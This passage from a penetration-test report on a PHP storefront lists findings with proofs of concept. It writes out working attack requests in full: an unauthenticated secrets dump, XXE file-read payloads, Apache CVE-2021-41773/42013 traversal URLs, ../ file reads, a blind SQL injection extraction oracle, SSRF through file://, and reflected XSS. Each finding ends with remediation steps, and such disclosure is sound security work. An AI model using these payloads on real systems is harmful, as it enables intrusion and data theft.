Business Impact

Any internet client can retrieve production credentials enabling JWT forgery, AWS cloud access, payment webhook forgery via Stripe, and direct redis/mysql database compromise, leading to full infrastructure and data-store takeover. Exposure of the encryption master key and database backup key puts all stored customer and business data at risk of decryption and exfiltration. This constitutes a severe confidentiality breach with likely regulatory consequences, financial fraud through payment manipulation, and complete operational compromise.

Proof of Concept

Setup

No authentication or account is required. The target is a public PHP application behind Apache 2.4.54 (Debian) / PHP 7.4.33:

- Target: `http://storefront.example/`
- Session: [REDACTED] anonymous - no cookies, no `Authorization` header, no API token, nothing.

Simply run from any shell (curl is sufficient). No login step exists or is needed; the vulnerable actions respond to any unauthenticated client.

Exploit

Request 1 - dump the secrets table:

```http
GET /api.php?action=secrets HTTP/1.1
Host: storefront.example
Accept: */*
Connection: close
```

Equivalent curl:

```bash
curl -s 'http://storefront.example/api.php?action=secrets'
```

Request 2 - dump the application config (same anonymous session):

```http
GET /api.php?action=config HTTP/1.1
Host: storefront.example
Accept: */*
Connection: close
```

Equivalent curl:

```bash
curl -s 'http://storefront.example/api.php?action=config'
```

Verification

Request 1 returns **`200 OK`** with `Content-Type: application/json`, and the body contains the full contents of the secrets table - all 10 credential values in plaintext, e.g. (verbatim fragment):

```json
{"status":"success","data":[
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"},
{"secret_key":"[REDACTED]","secret_value":"[REDACTED]"}]}
```

The presence of live-format values (`[REDACTED]…`, `whsec_…`, an AWS secret access key, the JWT signing key, and the admin session secret) proves this is production credential material exposed without any authentication.

Request 2 returns **`200 OK`** with `application/json` leaking infrastructure configuration (verbatim fragment):

```json
{"status":"success","data":{"database":"quickshop","host":"mysql","site_name":"QuickShop",
"site_url":"http://loopback.example","admin_email":"user@example.com","php_version":"7.4.33",
"server":"Apache/2.4.54 (Debian)","extensions":["Core","date","libxml","openssl",…,"mysqli","pdo_mysql",
"sodium"]}}
```

Impact confirmed: any unauthenticated client can retrieve both the secrets table (credential material usable for further compromise - JWT signing, admin session secret, AWS/SMTP/Stripe keys) and infrastructure config (DB name/host, admin email, PHP version, full extension list). No redirects or auth challenges occur; both requests complete in a single attempt (~70–220 ms).

Remediation

Immediate action

Immediately disable the 'secrets' and 'config' actions on /api.php and rotate all ten leaked credentials.

Steps

1. Remove or gate the 'secrets' and 'config' actions in api.php so they are never reachable without authentication
2. Rotate the JWT signing key, AWS secret access key, Stripe webhook secret, redis password, SMTP API key, OAuth client secret, encryption master key, admin session secret, API master key and database backup key
3. Require authentication (e.g., API key or mTLS) for all /api.php endpoints and restrict access at the network layer
4. Remove the action enumeration in error responses so invalid requests do not disclose available actions
5. Move secrets out of the database into a secrets manager with per-service access controls

9. Unauthenticated XXE in catalog/import xml_data import (arbitrary file read)

Severity	HIGH
Status	Open
OWASP Category	A03:2021 Injection - XXE (CWE-611)
CWE ID	CWE-611
Endpoint	POST /catalog/import
Parameter	xml_data
Estimated Effort	Trivial 2h

Description

The Import Products form on /catalog/import passes the user-supplied `xml_data` POST field straight into simplexml_load_string() without disabling external entity loading. A DOCTYPE with an external entity pointing at `file:///etc/passwd` is parsed, and the expanded file content is stored as the product name in the `products` table - confirming arbitrary local file read (CWE-611) from an unauthenticated POST. The endpoint is public (no auth), so any unauthenticated attacker can read files from the server filesystem (and could also target internal HTTP endpoints via http:// entities, e.g. cloud metadata).

Business Impact

This medium severity security issue requires immediate assessment.

Proof of Concept

Setup

No authentication required. /catalog/import accepts arbitrary XML via the Import Products form.

Exploit

POST an XML document declaring an external entity for `/etc/passwd` (URL-encoded as a form body):

```http
POST /catalog/import HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

xml_data=<?xml version="1.0"?><!DOCTYPE products [<!ENTITY xxe SYSTEM "file:///etc/passwd">]
><products><product><name>&xxe;</name><description>d</description><price>1</price><category>electronics</
category><stock>1</stock><image>i.jpg</image></product></products>&import=1
```

Verification

Page responds `Successfully imported 1 products!` - the entity was expanded server-side. Reading the new row out of the `products` table (via the application's other injection sink) shows the product name IS the contents of `/etc/passwd`:

```
38 :: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbi
```
TEXT

(rows 41, 44, 51, 137 contain the same file content - every import stores the expanded file in `products.name`). This proves simplexml_load_string() resolved the external `file://` entity with local file content.

Cleanup

Remove the imported test rows (products id 38/41/44/51/137 with `/etc/passwd` content as name, price=1) if a clean dataset is required.

Remediation

10. Unauthenticated XXE in rss_parser.php xml_content parameter (arbitrary file read and SSRF)

Severity	HIGH
Status	Open
OWASP Category	A03:2021 Injection (XXE)
CWE ID	CWE-611
Endpoint	POST /rss_parser.php
Parameter	xml_content
Estimated Effort	Low 4h

Description

rss_parser.php parses the user-supplied xml_content POST parameter with an XML parser that has external entity loading enabled (libxml < 2.9 default behavior, libxml_disable_entity_loader not called). An attacker can declare a DOCTYPE with a SYSTEM external entity such as file:///etc/passwd, and the server resolves the entity server-side, rendering the file's contents into the Parsed Feed Items output. No authentication is required, and the same parser can be abused for blind SSRF via http:// SYSTEM entities.

Business Impact

An unauthenticated attacker on the public internet can read arbitrary server files, potentially exposing database credentials, application secrets, and other sensitive configuration that enables full server compromise. The blind SSRF capability also allows attackers to probe and attack internal network services behind the perimeter. Successful exploitation could lead to large-scale data breaches, compliance violations, and operational disruption.

Proof of Concept

Setup

No authentication required - endpoint is public. Send a URL-encoded POST with a DOCTYPE declaring a SYSTEM external entity.

Exploit

```http
POST /rss_parser.php HTTP/1.1
Host: storefront.example
Content-Type: application/x-www-form-urlencoded

xml_content=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+rss+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Crss+version%3D%222.0%22%3E%3Cchannel%3E%3Ctitle%3E%26xxe%3B%3C%2Ftitle%3E%3C%2Fchannel%3E%3C%2Frss%3E
```

(Decoded: `<?xml version="1.0"?><!DOCTYPE rss [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><rss version="2.0"><channel><title>&xxe;</title></channel></rss>`)

Verification

Response is `200 OK` and the entity expansion is rendered verbatim in the parsed-feed card title:

```HTML
<h5 class="card-title">[Channel] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin</h5>
```

The full 19-line /etc/passwd was disclosed, proving the parser resolves external SYSTEM entities with the `file://` protocol.

Cleanup

No state was persisted.

Remediation

Immediate action

Disable external entity loading in the XML parser by calling libxml_disable_entity_loader(true) (or upgrading to libxml >= 2.9 and using libxml entities options) before parsing any user-supplied XML.

Steps

1. Disable external entity and DTD processing: call libxml_disable_entity_loader(true) and set LIBXML_NOENT off, or use libxml_set_external_entity_loader(null) / DOMDocument with LIBXML_DTDLOAD | LIBXML_NOENT removed.
2. Upgrade libxml2 to version 2.9+ where external entity loading is disabled by default, and avoid re-enabling entity loader globally.
3. Restrict XML parsing to a schema-validated RSS subset and reject any input containing a DOCTYPE declaration before parsing.
4. Remove or replace file:// and http:// protocol handlers reachable from XML entity resolution, and add egress filtering so the parser cannot reach internal network services.

11. Apache 2.4.49 front proxy: CVE-2021-41773/42013 path traversal via %%32%65 and .%%32e encodings on /icons/

Severity	HIGH
Status	Open
OWASP Category	A01:2021-Broken Access Control
CWE ID	CWE-23
Endpoint	GET /icons/
Estimated Effort	Low 6h

Description

Multiple security issues detected with 2 specific manifestations: operation, Unauthenticated. The front-proxy Apache 2.4.49 (Server banner: `Apache/2.4.49 (Unix)`, directly handling /cgi-bin/ and /icons/ instead of proxying them) is vulnerable to CVE-2021-41773 and CVE-2021-42013 path traversal on the /icons/ Alias directory (Require all granted). Both the CVE-2021-41773 double-percent encoding `%%32%65` and the CVE-2021-42013 mixed encoding `.%%32e` bypass Apache's dot-segment normalization, letting an unauthenticated attacker read arbitrary files outside the document root as www-data. GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd and GET /icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd both return 200 with the contents of /etc/passwd (19 accounts, uid=33 www-data).

Business Impact

An unauthenticated attacker can read arbitrary files on the proxy container as www-data, exposing system credentials, application configuration, and secrets such as httpd.conf and environment files. Chained with the companion mod_cgi finding, this escalates to full unauthenticated remote code execution, enabling complete compromise of the proxy host and any backend services it fronts. This exposes the organization to data breaches, compliance violations, and potential takeover of downstream infrastructure.

Proof of Concept

Setup

No authentication required. The front-proxy Apache 2.4.49 (visible via `Server: Apache/2.4.49 (Unix)` banner) handles the `/icons/` alias directly.

Exploit

CVE-2021-41773 encoding (%%32%65 decodes to %2e server-side, defeating dot-segment normalization):

```http
GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: storefront.example
```

CVE-2021-42013 double-decode variant (`.%%32e` decodes first to `.%2e`, then to `../`):

```http
GET /icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd HTTP/1.1
Host: storefront.example
```

(4 traversal levels are needed: the alias root is `/usr/local/apache2/icons`, so `../../../../` reaches `/`.)

Verification

Both requests return `200 OK` with `Server: Apache/2.4.49 (Unix)` and the full contents of `/etc/passwd`:

```text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

Response headers: `content-length: 926`, `etag: "39e-5cceec7356000"`. Unencoded dot-segment traversal (`/icons/.%2e/...`) is normalized and 404s, confirming the encoded-bypass nature of the flaw.

Remediation

Immediate action

Upgrade the front-proxy Apache HTTP Server from 2.4.49 to a patched release (2.4.51 or later) that fixes CVE-2021-41773 and CVE-2021-42013.

Steps

1. Upgrade Apache httpd to version 2.4.51 or later on the front-proxy container
2. Remove or restrict the /icons/ Alias directive so the proxy does not serve it directly, or replace 'Require all granted' with restrictive access controls
3. Normalize and reject URL paths containing encoded dot segments (%%32%65, .%%32e, %2e) at the proxy layer before they reach handlers
4. Disable directory indexing (remove Options Indexes) on the /icons/ alias to prevent content disclosure

12. Unauthenticated path traversal / arbitrary file read via /images/ on Apache 2.4.49 (CVE-2021-41773/42013)

Severity	HIGH
Status	Open
OWASP Category	A01:2021-Broken Access Control
CWE ID	CWE-22
Endpoint	GET /images/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
Parameter	request path
Also affects	storefront.example/images
Estimated Effort	Low 6h

Description

The front proxy runs Apache 2.4.49, which is vulnerable to the CVE-2021-41773/CVE-2021-42013 path traversal and mapping flaw. The deployed configuration defines `Alias /images/ "/usr/local/apache2/htdocs"` with Options Indexes MultiViews, and this alias accepts double-encoded dot-segments (.%%32e) that Apache fails to normalize, allowing unauthenticated attackers to escape the alias root and read arbitrary files from the proxy container filesystem. This is a third traversal sink on the same proxy, reachable via /images/ in addition to the previously known /cgi-bin/ (RCE) and /icons/ (file read) paths.

Business Impact

Unauthenticated attackers can read arbitrary files from the front-proxy container, exposing system credentials, application configuration, and potentially secrets such as API keys or environment variables. Because the same Apache flaw also enables RCE via /cgi-bin/ when mod_cgi is enabled, an attacker could pivot from file read to full server compromise of the proxy tier. Exposure of user and system data carries risk of compliance violations and reputational damage, and the /images/ path provides a WAF-evasion route that keeps the attack viable even if other traversal paths are filtered.

Proof of Concept

Setup

No authentication required. Front proxy Apache/2.4.49 (Unix), deployed config: `Alias /images/ "/usr/local/apache2/htdocs"`.

Exploit

```http
GET /images/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd HTTP/1.1
Host: storefront.example
```

Verification

```text
HTTP/1.1 200 OK
server: Apache/2.4.49 (Unix)
content-length: 926

root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

Cleanup

Read-only primitive - no state to clean up.

Remediation

Immediate action

Upgrade the front proxy from Apache 2.4.49 to a patched release (2.4.51 or later) that fixes the CVE-2021-41773/CVE-2021-42013 path normalization flaw.

Steps

1. Upgrade Apache httpd on the front proxy to version 2.4.51 or later, which restores proper URL-encoded dot-segment normalization
2. As an interim mitigation, remove or restrict the `Alias /images/` directive and reject requests containing encoded dot-segments (.%%32e, %2e, %%32%65) at the proxy or WAF layer
3. Ensure `Require all granted` is not applied to the filesystem root and that each Alias target has restrictive <Directory> access controls
4. Audit all alias paths on the front proxy (/images/, /icons/, /cgi-bin/) for traversal reachability after patching

13. Unauthenticated path traversal / arbitrary file read via view_media.php?file=

Severity	HIGH
Status	Open
OWASP Category	API1:2023 Broken Object Level Authorization / A01:2021 Broken Access Control
CWE ID	CWE-22
Endpoint	GET /view_media.php
Parameter	file
Estimated Effort	Low 5h

Description

The `file` parameter of the unauthenticated GET endpoint /view_media.php is concatenated into a filesystem path without sanitizing traversal sequences, allowing an attacker to escape the media directory with `../` sequences and read any file readable by the www-data user, such as /etc/passwd. Absolute paths are rejected because the supplied value is prepended with a base directory, but relative traversal of any depth works. The server reads exactly the path given (no `../` stripping), and probes confirmed the parameter performs a filesystem read rather than a database query.

Business Impact

An unauthenticated remote attacker can exfiltrate any file readable by the web service user, including application source code, database credentials, /etc/passwd, and PHP session files, exposing customer data and secrets that may violate GDPR/CCPA obligations. Chained with the confirmed Twig RCE on the same host, this flaw enables full server compromise, data theft, operational disruption, and reputational harm.

Proof of Concept

Setup

No authentication required - public GET endpoint listing media files (`privacy.txt`, `specs.txt`, `terms.txt`).

Exploit

```http
GET /view_media.php?file=../../../../etc/passwd HTTP/1.1
Host: storefront.example
```

Verification

Response is `200 OK` with `Content-Disposition: attachment; filename="passwd"` and the full `/etc/passwd` contents streamed back:

```text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

Baseline control: `view_media.php?file=privacy.txt` renders the normal media-viewer page with the file content - proving the traversal response is caused by the `../` payload, not incidental. `.htpasswd` was NOT found at `/app/[REDACTED-PATH]`, `/app/[REDACTED-PATH]`, `/etc/apache2/.htpasswd`, or anywhere else (full filesystem `find` returned nothing).

Remediation

Immediate action

Eliminate path traversal in /view_media.php by resolving the user-supplied `file` value to a canonical absolute path and rejecting any request whose resolved path falls outside the intended media directory.

Steps

1. Resolve the `file` parameter with realpath() and verify the result is within the intended media directory using a prefix check such as str_starts_with(realpath($path), realpath($mediaDir)) before reading.
2. Replace free-form filenames with an allowlist or database-backed identifier so the client references media by ID rather than by filesystem path.
3. Serve media files through a web server location block (e.g. nginx try_files or Apache Alias confined to the media directory) instead of PHP readfile() with user-controlled paths.
4. Run the application under a dedicated low-privilege user and restrict filesystem ACLs so the web process cannot read sensitive files like /etc/passwd or application configs outside its document root.

14. Unauthenticated path traversal / arbitrary file read via files/download?file=

Severity	HIGH
Status	Open
OWASP Category	A01:2021 Broken Access Control
Endpoint	GET /files/download
Parameter	file
Also affects	storefront.example/downloads.php storefront.example/downloads.php/{id}
Estimated Effort	Low 4h

Description

The `file` GET parameter of /files/download is passed directly into a filesystem read used to stream the download attachment, with no path traversal sanitization or allowlist check. Because the value is only prepended to a base directory under /app/[REDACTED-PATH] an unauthenticated attacker can supply relative sequences like `../../../../etc/passwd` to read any file accessible to the web server user. The read primitive is fully proven, and absolute paths or `....//` filter-evasion variants fail only because no stripping or rewriting occurs - paths are read verbatim.

Business Impact

An unauthenticated remote attacker can exfiltrate any file readable by the web server, including application source code, Apache configuration, and any credentials or secrets stored on disk, exposing business logic and enabling further attacks against the infrastructure. Combined with the demonstrated SSTI RCE on /templates/preview, this flaw accelerates full host compromise and potential lateral movement. Disclosure of customer-facing systems and sensitive configuration could result in data breaches, regulatory exposure, and loss of customer trust.

Proof of Concept

Setup

No authentication required - public GET endpoint normally serving `catalog.pdf` ("QuickShop Product Catalog 2024").

Exploit

```http
GET /files/download?file=../../../../etc/passwd HTTP/1.1
Host: storefront.example
```

Verification

Response is `200 OK` with `Content-Disposition: attachment; filename="passwd"` and the complete `/etc/passwd` contents:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
TEXT

Baseline control: `files/download?file=catalog.pdf` returns `Content-Disposition: attachment; filename="catalog.pdf"` with "QuickShop Product Catalog 2024". Same traversal also read `/etc/hostname` (`d72dde63f9db`) and the full `/etc/apache2/apache2.conf` (3KB config disclosed, revealing `${APACHE_DOCUMENT_ROOT}` = /app/[REDACTED-PATH] and the `<FilesMatch "^\.ht">` block).

Remediation

Immediate action

Replace the filesystem read with an allowlist of known download filenames so user-supplied input is never concatenated into a filesystem path.

Steps

1. Maintain a server-side map of permitted download names to their storage locations and resolve requests through that map instead of accepting raw path input.
2. If dynamic paths must be supported, use PHP's realpath() or basename() to canonicalize input and verify the resolved path is strictly contained within the intended base directory before reading.
3. Reject any input containing path separators, `..` sequences, or null bytes, and log such requests for security monitoring.
4. Set open_basedir in the PHP configuration to restrict file operations to the dedicated download storage directory.
5. Run the web application with least-privilege filesystem permissions so the runtime user cannot read /etc, Apache configuration, or other sensitive paths.

15. Unauthenticated SQL injection in catalog/search?q= (boolean-blind, result-count oracle)

Severity	HIGH
Status	Open
OWASP Category	API8:2023 Security Misconfiguration / A03:2021 Injection
CWE ID	CWE-89
Endpoint	GET /catalog/search
Parameter	q
Estimated Effort	Low 6h

Description

The q GET parameter of the public product search at /catalog/search is spliced directly into the SQL LIKE clause without parameterization or escaping, allowing an attacker to terminate the LIKE string and inject arbitrary SQL. Because the query uses q in two LIKE branches (name and description), injected payloads must leave quotes balanced - a payload ending with `'1' LIKE '1` achieves this since the template's trailing `%'` completes the literal. A deterministic boolean oracle exists: the rendered result count (0 vs N results) reflects whether the injected condition is true, enabling full per-character extraction of any database value including version() and information_schema, with a secondary error-based signal via unbalanced quotes causing mysqli_fetch_assoc() warnings.

Business Impact

Unauthenticated attackers can silently exfiltrate the entire database, including customer records, order data, and any credentials stored in the backend, without leaving obvious traces in application logs. Combined with the separately disclosed DB credentials via the catalog/compare SSRF finding, this enables unrestricted access to all business data, creating risks of financial fraud, customer identity theft, and regulatory penalties under GDPR/CCPA. Public exposure of the storefront database also carries severe reputational damage and potential operational disruption if attackers manipulate or enumerate the product catalog.

Proof of Concept

Setup

No authentication required - `catalog/search` is a public storefront endpoint.

Exploit

1. Confirm raw SQL injection (unterminated quote breaks the query):

```HTTP
GET /catalog/search?q=laptop' HTTP/1.1
Host: storefront.example
```

Response begins with:

```
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in /app/[REDACTED-PATH]
 on line 52
```

TEXT

2. Boolean-based blind - force the search to return the entire catalog (136 products) with a non-existent term:

```
GET /catalog/search?q=ZZZNOTFOUND' OR 1=1 AND '1' LIKE '1 HTTP/1.1
Host: storefront.example
```

HTTP

Response renders `<strong>136 results</strong>` / `Page 1 of 12`.
3. Extract the DB version character-by-character using the result-count truth oracle (137 results = TRUE, 0 results = FALSE):

```
GET /catalog/search?q=ZZZ%' OR (SELECT ASCII(SUBSTRING(version(),1,1)))=53 AND '1' LIKE '1 HTTP/1.1
```

HTTP

```
137 results  →  version() char 1 = ASCII 53 = '5'
```

TEXT

```
GET /catalog/search?q=ZZZ%' OR (SELECT ASCII(SUBSTRING(version(),2,1)))=46 AND '1' LIKE '1 HTTP/1.1
```

HTTP

```
137 results  →  version() char 2 = ASCII 46 = '.'
```

TEXT

Control probes returned `0 results` for `=49` and `=56`, proving the oracle discriminates correctly. `q=ZZZ%' OR id=(SELECT ASCII(SUBSTRING(version(),1,1))) AND '1' LIKE '1` returned exactly 1 result - the product whose id equals the extracted ASCII (product #53), a second independent read of the same value.

Verification

The differential between `137 results` (condition TRUE) and `0 results` (condition FALSE) is a deterministic extraction oracle; repeating the pattern `(SELECT ASCII(SUBSTRING(<expression>,N,1)))=C` exfiltrates any database value. `EXISTS(SELECT 1 FROM information_schema.tables ...)` executes, so the entire catalog schema is enumerable, and with the DB credentials separately disclosed (see the catalog/compare SSRF finding) the data access is unrestricted.

Cleanup

No state was persisted (read-only SELECT injection).

Remediation

Immediate action

Replace the string-concatenated LIKE query in catalog/search with a parameterized prepared statement using bound parameters for the `q` value.

Steps

1. Rewrite the search query to use mysqli/PDO prepared statements with bound parameters, applying wildcard escaping (% and _) via a helper function for the LIKE clause

2. Remove or suppress detailed mysqli error output in production and disable display_errors to eliminate the error-based oracle
3. Conduct a codebase-wide audit for other string-interpolated SQL queries, including catalog/compare, and migrate them all to parameterized queries
4. Implement least-privilege database credentials so the application user cannot access information_schema or unrelated tables beyond what the storefront requires

16. Unauthenticated SSRF and arbitrary local file read via check_link.php?url=

Severity	MEDIUM
Status	Open
OWASP Category	A10:2021 Server-Side Request Forgery
CWE ID	CWE-918
Endpoint	GET /check_link.php
Parameter	url
Estimated Effort	Low 6h

Description

The /check_link.php endpoint passes the user-supplied `url` GET parameter directly to a server-side fetcher (file_get_contents or curl) with no validation of scheme, host, or port. This enables unauthenticated SSRF: an attacker can make the server request arbitrary URLs, including internal loopback services whose responses are reflected back in the "Content Preview" block, and the `file://` wrapper is also accepted, allowing arbitrary local file disclosure such as /etc/passwd. Differential timing on closed ports further turns the endpoint into an internal network port scanner.

Business Impact

An unauthenticated attacker can read arbitrary local files on the server, including configuration files, application source code, logs, and SSH keys, potentially yielding credentials for full server compromise. The SSRF also exposes internal-only services and enables internal network reconnaissance, which could lead to lateral movement into backend systems and databases. Exploitation requires no authentication, so sensitive data exposure, regulatory compliance violations, and operational disruption are all directly reachable from the public internet.

Proof of Concept

Setup

No authentication required - endpoint is public. Only an unauthenticated HTTP request is needed.

Exploit

SSRF into the loopback interface (Apache server-status is an internal-only page here):

```http
GET /check_link.php?url=http://loopback.example/server-status HTTP/1.1
Host: storefront.example
```

Arbitrary local file read via the `file://` wrapper on the same parameter:

```http
GET /check_link.php?url=file:///etc/passwd HTTP/1.1
Host: storefront.example
```

Verification

Both requests return `200 OK` with the fetched content reflected in the "Content Preview" block. The loopback probe returned:

```text
Apache Server Status for storefront.example (via storefront.example)
Server Version: Apache/2.4.54 (Debian) PHP/7.4.33
Server uptime:  1 day 21 hours 45 minutes 19 seconds
```

and the `file:///etc/passwd` probe returned `Content Length: 922 bytes` with:

```text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

Differential timing also confirms internal-network reachability probing: closed ports (e.g. `http://loopback.example/`) return "Link Not Available" after a multi-second connection-refused delay, while the loopback HTTP service responds instantly with content - the endpoint is a full internal port scanner.

Cleanup

No state was persisted.

Remediation

Immediate action

Implement strict URL validation on the `url` parameter with an allowlist that permits only https:// schemes and approved external hosts, and block the file:// wrapper entirely.

Steps

1. Reject any URL whose scheme is not in an allowlist (https only) and explicitly deny file://, gopher://, dict://, and ftp:// wrappers
2. Resolve the target hostname and block requests to private, loopback, and link-local IP ranges (storefront.example/8, storefront.example/8, storefront.example/12, storefront.example/16, storefront.example/16) including after redirects
3. Restrict outbound fetches to an allowlist of approved external hosts and ports required for the link-checking feature
4. Disable following of redirects or re-validate each redirect target against the same allowlist
5. Remove the reflection of raw fetched content in the "Content Preview" block, or sanitize it to prevent internal response disclosure

17. Reflected XSS on product_qa.php?product= via unescaped mysqli_error echo (alert fires in real browser)

Severity	MEDIUM
Status	Open
OWASP Category	A03:2021-Injection
CWE ID	CWE-79
Endpoint	GET /product_qa.php
Parameter	product
Estimated Effort	Low 4h

Description

/product_qa.php echoes raw mysqli_error output into an alert-danger div without applying htmlspecialchars, and the database error message includes attacker-controlled content from the 'product' query parameter. By combining an error-based SQLi payload (extractvalue with concat) with HTML/script content, an attacker forces the MySQL XPATH error text - containing the payload - to be reflected unescaped into the HTML context, executing arbitrary JavaScript in the victim's browser. Execution was confirmed in headless Chromium (alert(1) fired), with payloads constrained to roughly 29 characters by the 32-char XPATH error truncation.

Business Impact

An attacker can execute arbitrary JavaScript in the application's origin by tricking a victim into clicking a crafted link, enabling theft of session cookies and same-origin access to authenticated functionality. Chaining the XSS with the endpoint's SQL injection allows exfiltration of sensitive database contents, including customer question-and-answer data, to attacker-controlled servers. This exposes the organization to account compromise, data breach disclosure obligations, and reputational damage from demonstrated exploitable injection flaws.

Proof of Concept

Setup

No authentication. Victim only needs to click a crafted link to /product_qa.php?product=<payload>.

Exploit

```http
GET /product_qa.php?product=136 AND extractvalue(1,concat(0x7e,'<img src=x onerror=alert(1)>')) HTTP/1.1
Host: storefront.example
```

The URL-encoded form of the product parameter is:
`136%20AND%20extractvalue(1,concat(0x7e,%27%3Cimg%20src=x%20onerror=alert(1)%3E%27))`

Verification

HTTP response contains the payload fully unescaped in HTML context:

```HTML
<div class="alert alert-danger">
<i class="fas fa-times-circle"></i> Database Error: XPATH syntax error: '~<img src="x"
onerror="alert(1)">'</div>
```

Headless Chromium render of the same URL: `signals.alertCalled = true` (execution confirmed, not just reflection). Contrast: /promo.php?code= with `"><img src=x onerror=alert(1)>` is escaped (`value=""><img src=x onerror=alert(1)>"`) and the same payload placed in a UNION result slot is also escaped (`<img src=x onerror=alert(1)>`), so the XSS is specific to the unescaped mysqli_error echo on product_qa.php.

Remediation

Immediate action

Escape all echoed database error output on /product_qa.php with htmlspecialchars() (or stop displaying raw mysqli_error entirely) so attacker-controlled content can never reach HTML context unescaped.

Steps

1. Wrap every dynamic value echoed into the alert-danger div with htmlspecialchars($value, ENT_QUOTES, 'UTF-8') before output.
2. Remove production display of mysqli_error() and replace it with a generic error message, logging detailed errors server-side only.
3. Fix the underlying SQL injection in the 'product' parameter by using prepared statements with bound parameters instead of string-interpolated queries.
4. Add a Content-Security-Policy header restricting inline script execution as defense in depth.

18. Reflected XSS on promo.php via unescaped mysqli_error echo (GET-link delivered)

Severity	MEDIUM
Status	Open
OWASP Category	A03:2021 Injection
Endpoint	GET /promo.php
Parameter	code
Estimated Effort	Low 5h

Description

When a query against promo_codes fails, promo.php echoes the raw mysqli_error string into an `alert alert-danger` div WITHOUT htmlspecialchars - unlike the code param's `value=""` reflection, which is correctly escaped (" < >). Attacker-controlled text reaches the error message through extractvalue()'s XPATH error (payload must fit the ~32-char XPATH truncation window), producing a link-delivered reflected XSS: `?code=' AND extractvalue(1,concat(0x7e,'<img src=x onerror=alert(1)>'))-- -` renders the img tag live in the victim's browser. Confirmed by headless Chromium render: `alertCalled: true`.

Business Impact

An attacker can send victims a malicious promo.php link that executes arbitrary JavaScript on the site's origin, enabling session token theft, credential phishing, or silent action forgery against visitors. The same unescaped error-echo sink also enables error-based extraction of database contents via extractvalue() concatenation, exposing promo code and potentially other database data. Because the page is promoted for checking promo codes, link-delivered exploitation could erode customer trust and trigger compliance issues around customer data protection.

Proof of Concept

Setup

No authentication required. The `value=""` attribute reflection of `?code=` IS escaped (double quotes become "), but the database-error path echoes mysqli_error unescaped. Payload text is embedded inside the SQL string and surfaces via the XPATH error message, truncated at 32 chars - so a short payload is required.

Exploit

```http
GET /promo.php?code=' AND extractvalue(1,concat(0x7e,'<img src=x onerror=alert(1)>'))-- - HTTP/1.1
Host: storefront.example
```

(URL-encoded when sent as a link to a victim.)

Verification

Response body contains the payload UNESCAPED in the error div:

```HTML
<div class="alert alert-danger mt-4">
<i class="fas fa-times-circle"></i> Database Error: XPATH syntax error: '~<img src="x"
onerror="alert(1)">'
</div>
```

Headless Chromium render of the same URL: `signals.alertCalled = true` (script execution confirmed). Contrast: `?code="><img src=x onerror=alert(1)>` reflects escaped as `value=""><img src=x onerror=alert(1)>"` - no execution - proving the error echo is the unescaped sink.

Cleanup

None - reflected, no state persisted.

Remediation

Immediate action

Wrap all error output in promo.php with htmlspecialchars (or suppress raw mysqli_error entirely) before rendering it into HTML.

Steps

1. Escape the mysqli_error string with htmlspecialchars($err, ENT_QUOTES, 'UTF-8') before echoing it into the alert-danger div
2. Replace raw mysqli_error echo with a generic user-facing error message and log the detailed error server-side
3. Fix the underlying SQL injection in the promo_codes query by using prepared statements with bound parameters
4. Set Content-Security-Policy headers restricting inline script execution as defense in depth

19. Unauthenticated arbitrary file read on backend Apache 2.4.49 via CVE-2021-41773/42013 path traversal

Severity	HIGH
Status	Open
OWASP Category	A01:2021-Broken Access Control
CWE ID	CWE-22
Endpoint	GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Parameter	URL path (double-encoded dot-segments)
Also affects	storefront.example/catalog
Estimated Effort	Medium 12h

Description

